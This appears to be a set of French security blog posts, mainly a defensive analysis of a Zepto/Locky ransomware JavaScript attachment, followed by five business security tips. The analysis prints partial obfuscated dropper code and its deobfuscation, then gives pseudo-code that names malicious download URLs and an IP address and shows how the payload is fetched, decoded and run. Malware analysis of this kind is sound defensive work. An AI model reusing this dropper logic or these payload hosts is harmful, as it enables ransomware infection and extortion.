Dans le cas du second exemple, c'est totalement différent. Il s'agit d'une problématique qu'on ne peut pas résoudre en utilisant des méthodes de développement procédurales classiques. Seuls les réseaux de neurones permettent d'obtenir des résultats fiables.

Comme nous l'avons montré dans les paragraphes précédents, aujourd'hui, des outils libres tels que Scikit-learn ou TensorFlow permettent de mettre en œuvre, sans trop de difficultés, des algorithmes d'apprentissage automatique. De ce fait, il n'est plus nécessaire de disposer d'une grosse équipe de recherche et développement pour pouvoir les implémenter dans les entreprises.

Quand je repense aux quelques fois où j'ai été confronté à des problématiques de classements, que j'ai dû résoudre avec des centaines de lignes de codes, je me dis qu'aujourd'hui je pourrais en venir à bout beaucoup plus simplement et rapidement.

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Hier, j'ai reçu un courriel suspect... Suspect, parce qu'il est marqué comme SPAM par OVH, que je ne connais pas l'expéditeur, que je n'attendais pas de lettre de confirmation, encore moins d'un anglophone, et qu'il contient une pièce jointe au format zip :

courriel-zepto

Le fichier zip a un ratio de détection virustotal assez moyen : 23/53. Il contient un fichier dont l'extension est "js" pour javascript nommé "data 2fcf143c-.js". Ce dernier obtient un ratio de détection similaire : 21/54. Voici une partie de son contenu :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
WScript.Sleep(1); var aEx = (1, 2, 3, ['\x77\x73\x68\x20\x3d','\x20\x57\x53\x63\x72','\x69\x70\x74\x2e\x43','\x72\x65\x61\x74\x65','\x4f\x62\x6a\x65\x63','\x74\x28\x22\x57\x53','\x63\x72\x69\x70\x74','\x2e\x53\x68\x65\x6c','\x6c\x22\x29\x3b\x0a','\x73\x65\x20\x3d\x20','\x77\x73\x68\x2e\x45','\x6e\x76\x69\x72\x6f','\x6e\x6d\x65\x6e\x74','\x28\x22\x53\x59\x53','\x54\x45\x4d"\x29','\x3b\x0a\x6f\x73\x20','\x3d\x20\x73\x65\x28','\x22\x4f\x53\x22\x29','\x3b\x0a\x69\x66\x20','\x28\x6f\x73\x20\x21','\x3d\x20\x22\x57\x69','\x6e\x64\x6f\x77\x73','\x5f\x4e\x54\x22\x29','\x20\x7b\x57\x53\x63','\x72\x69\x70\x74\x2e','\x51\x75\x69\x74\x28','\x30\x29\x3b\x7d\x0a','\x76\x61\x72\x20\x4c','\x4d\x79\x39\x20\x3d','\x20\x22\x6f\x73\x65','\x22\x20\x2b\x20\x22','\x22\x3b\x0d\x0a\x76','\x61\x72\x20\x52\x79','\x20\x3d\x20\x22\x63','\x6c\x22\x20\x2b\x20','\x22\x22\x3b\x0d\x0a','\x76\x61\x72\x20\x4d','\x54\x76\x20\x3d\x20','\x22\x69\x6c\x65\x22','\x20\x2b\x20\x22\x22','\x3b\x0d\x0a\x76\x61','\x72\x20\x4a\x4a\x70','\x33\x20\x3d\x20\x22','\x65\x54\x6f\x46\x22','\x20+\x20\x22\x22',';\x0d\x0a\x76\x61','\x72\x20\x4a\x70\x35','\x20\x3d\x20\x22\x53','\x61\x76\x22\x20\x2b','\x20\x22\x22\x3b\x0d','\x0a\x66\x75\x6e\x63','\x74\x69\x6f\x6e\x20','\x41\x66\x28\x45\x4c','\x73\x30\x29\x7b\x72','\x65\x74\x75\x72\x6e','\x20\x45\x4c\x73',

[...]

'\x4e\x20\x20\x2a','\x2f\x2c\x20\x32\x29','\x3b\x0d\x0a\x0d\x0a','\x20\x20\x20\x20\x44','\x41\x62\x34\x5b\x50','\x47\x69\x35\x20\x2b','\x20\x48\x4a\x69\x5d','\x28\x29\x3b\x0d\x0a','\x7d\x3b']);
 eval(aEx.join(''));

Le code est donc dissimulé. Si l'on simule le "aEx.join('')" et que l'on remplace les "\x??" par leurs caractère ASCII, on obtient ce genre de choses :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
var LMy9 = "ose" + "";
var Ry = "cl" + "";
var MTv = "ile" + "";
var JJp3 = "eToF" + "";
var Jp5 = "Sav" + "";
function Af(ELs0){return ELs0;};
function MZb(Hh1){return Hh1;};

[...]

var Yz=[AAd1 + Cg7 + (function Ba1(){return Ut;}()) + (function Hk7(){return WZw;}()) + (function SXn(){return KSx;}()) + He + Ny6, VGj1 + Pm0 + Lh(NKi)];

for (var IBx3=0; IBx3 < Yz[EAt7 + Bq]; IBx3++)
{
 try 
 {
 var AJf=WScript[HYu2 + QUd3(Ht0) + JBs8](Yz[IBx3]);
 break;
 }
 catch (e)
 {
 continue;
 }
};

var Lp9=1;
var Gr=0;
do
{
 try
 {
 if (1== Lp9)
 {
 if (Gr >= IDz0[EAt7 + (function Cg(){return Bq;}())])
 {
 Gr=0;
 WScript[Go7](2 * 500);
 }
 AJf[Jh + Nz3](Iv(MGd), IDz0[Gr++ % IDz0[EAt7 + Bq]], false);
 AJf[(function Co(){return Dg;}()) + Fn]();
 }
[...]
} while (Lp9);

WScript.Quit(0);

function Kx1 /* N */(Lj4)
{
[...]
};
[...]

Une nouvelle fois, le code est dissimulé. Avec un peu de travail on finit par obtenir le pseudo code (très simplifié) suivant :

Télécharger http://silverjinoz.net/49x2nv ou http://210.240.104.2/8wldse8 ou http:/otwayorchard.net/ydumpjt5
Enregistrer le fichier dans %TEMP%/QNUnOOHWq
Lire le fichier %TEMP%/QNUnOOHWq
Décoder le fichier %TEMP%/QNUnOOHWq
Enregistrer le resultat dans %TEMP%/QNUnOOHWq.exe
Exécuter le fichier %TEMP%/QNUnOOHWq.exe avec le paramètre "323"

On peut noter que le fichier "QNUnOOHWq" obtient un ratio de détection de 4/53 et que le fichier "QNUnOOHWq.exe" obtient, quant à lui, un ratio de détection de 29/53.

Lorsqu'il est exécuté, le ransomware commence à chiffrer les fichiers en fonction de leur extension, les renomme et change l'extension en "zepto". On obtient des noms qui commencent tous par l'identifiant unique "4D52B197-2A12-A30E" :

4D52B197-2A12-A30E-02EF-009C32C16841.zepto
4D52B197-2A12-A30E-15D0-458CC59B47D4.zepto
4D52B197-2A12-A30E-99E4-44BEC0FC555D.zepto
4D52B197-2A12-A30E-557A-D9F7B26EB9C3.zepto

Lorsqu'il a terminé de chiffrer les fichiers, il affiche comment payer pour récupérer ses fichiers. Pour cela, il change l'écran de fond de windows et il ouvre les fichiers "_HELP_instructions.bmp" et "_HELP_instructions.html" :

help-instructionhelp-instruction-html

En suivant le lien fourni dans le fichier html, on arrive sur la page suivante, intitulée "Locky Decryptor Page" :

onion

Il demande 2 BTC soit un peu plus de 1000 € au cours actuel. Comme d'habitude je recommande de ne pas payer. Vous n'avez aucune garantie que cela permettra de déchiffrer les fichiers.

Une vidéo de l'infection :

À ce jour, il n'existe pas de solution pour déchiffrer les fichiers d'une machine infectée par zepto.

Ainsi, selon moi, la solution à ce genre de problématique se situe plutôt au niveau de la prévention.

Il s'agit, d'une part, de former les utilisateurs à reconnaître les courriels suspects et ne pas les ouvrir et d'autre part, d'avoir mis en place une solution de sauvegardes déportées, hors ligne et régulièrement vérifier qu'elles fonctionnent comme attendu.

Cinq conseils simples pour la sécurité informatique en entreprise

Cinq conseils simples pour la sécurité informatique en entreprise

Aujourd'hui l'informatique est l'un des éléments clés du fonctionnement et du développement des entreprises. Il ne se passe pas quelques jours sans que l'on entende parler de nouvelles malveillances informatiques visant des entreprises de toutes tailles et provoquant des dommages parfois irrémédiables. C'est pourquoi, il convient de protéger les systèmes d'informations, qui sont un patrimoine essentiel.

Voici cinq conseils simples qui permettent de se prémunir contre une bonne partie des attaques.

  1. Mots de passe

Les mots de passe sont la base de presque tous les contrôles d'accès. Il s'agit donc de changer systématiquement ceux qui sont définis par défaut et de ne pas les choisir à la légère.

En premier lieu, il ne faut pas utiliser le même mot de passe partout. En effet, si l'un des sites que vous utilisiez a été compromis, tous vos accès utilisant le même mot de passe le sont également. À titre d'exemple, en 2012, LinkedIn s'est fait volé près de 165 millions d'identifiant et de mots de passe. Cela a notamment permis à un groupe de prendre (temporairement) le contrôle de nombreux comptes de personnalités, dont les comptes twitter et pinterest de Mark Zuckerberg.

Ensuite, il faut utiliser des mots de passe suffisamment longs et complexes. Un bon mot de passe fait plus de huit caractères, il ne contient pas de mots qui peuvent apparaître dans le dictionnaire ou des informations personnelles et il mélange lettres majuscules et minuscules, chiffres et symboles. Par exemple, bien qu'assez long, un prénom suivi d'une date de naissance, n'est pas un bon mot de passe. En effet, il existe des outils qui permettent facilement de générer un dictionnaire à partir d'informations qu'on leur fournis.

Enfin, comme les brosses à dents ou les sous-vêtements, les mots de passe ne se partagent pas et se changent régulièrement. Cela permet de s'assurer que s'ils sont compromis, la possibilité d'attaque sera limitée dans la durée.

Il est humainement difficile de rester en accord avec ces règles. Pour nous y aider, il existe des solutions logicielles qui fonctionnent parfaitement. Elles permettent de générer des mots de passe complexes et s'en souviennent pour vous. Il suffit de mémoriser un seul mot de passe maître qui protégera tous les autres. On peut citer, entres autres, LastPass ou KeepPass.

  1. Mises à jour

On entend parfois parler d'utilisation de failles dites zero day, c'est-à-dire des failles qui ne sont pas encore connues et/ou corrigées. Elles ne sont que très rarement utilisées et quasiment exclusivement pour des cibles importantes. La grande majorité des attaques exploitent des failles bien connues, pour lesquelles des correctifs sont disponibles. De plus, dès leur sortie, ces correctifs sont rapidement analysés par les cybercriminels afin de comprendre ce qu'ils apportent et créer des outils qui permettent d'exploiter les éléments corrigés. C'est pourquoi, il est primordial d'appliquer systématiquement les mises à jour. Cela concerne bien évidemment les bases antivirus, les systèmes d'exploitation et les logiciels, mais également tous les équipements connectés au réseau.

  1. Accès physiques

La simplicité des accès physiques peut également être la base d'une attaque. Moins d'une minute peut suffire pour compromettre une machine ou créer une connexion pérenne à un réseau local, lorsqu'on est laissé seul devant un ordinateur ou une prise réseau. Ainsi, il ne sert à rien de mettre en place une politique de sécurité informatique très stricte si les accès physiques ne sont pas compliqués. De ce fait, il est important de penser aussi à sécuriser les accès physiques à l'informatique.

  1. Prévention

Le social engineering, qui consiste à tromper son interlocuteur pour obtenir des informations ou un accès physique, est au centre de bon nombre d'attaques. Par exemple, il s'agit de savoir ne pas ouvrir n'importe quel courriel, ne pas cliquer sur n'importe quel lien, ne pas connecter n'importe quelle clé USB, ne pas répondre à des questions au téléphone, etc. La sécurité informatique n'est pas forcément instinctive, elle s'acquiert. C'est pourquoi, il est essentiel de former ses équipes aux bonnes pratiques.

  1. Sauvegardes

Il s'agit d'anticiper une perte éventuelle de données. Les données importantes doivent plutôt être stockées sur un serveur prévu à cet effet. Il doit disposer d'un système de sauvegarde périodique en ligne et hors ligne et il faut vérifier régulièrement que les sauvegardes sont fonctionnelles. Afin de pouvoir relancer ce serveur rapidement et perdre le moins de temps possible, il est recommandé d'écrire des procédures d'urgence dans un plan de continuité d’activité, en décrivant notamment la restauration des données en cas de sinistre majeur.

On peut donc dire que la sécurité informatique ne se limite pas à l'achat de produits, mais correspond plutôt à un état d'esprit, mais aussi et surtout à la mise en place de processus. De ce fait, il s'agit d'une problématique transversale entre la technique et l'humain. Ainsi, cela nécessite d'une part, une connaissance approfondie de son système d'information et de tous les éléments qui le composent. Et d'autre part, cela exige également d'impliquer les humains qui sont finalement au cœur de tout.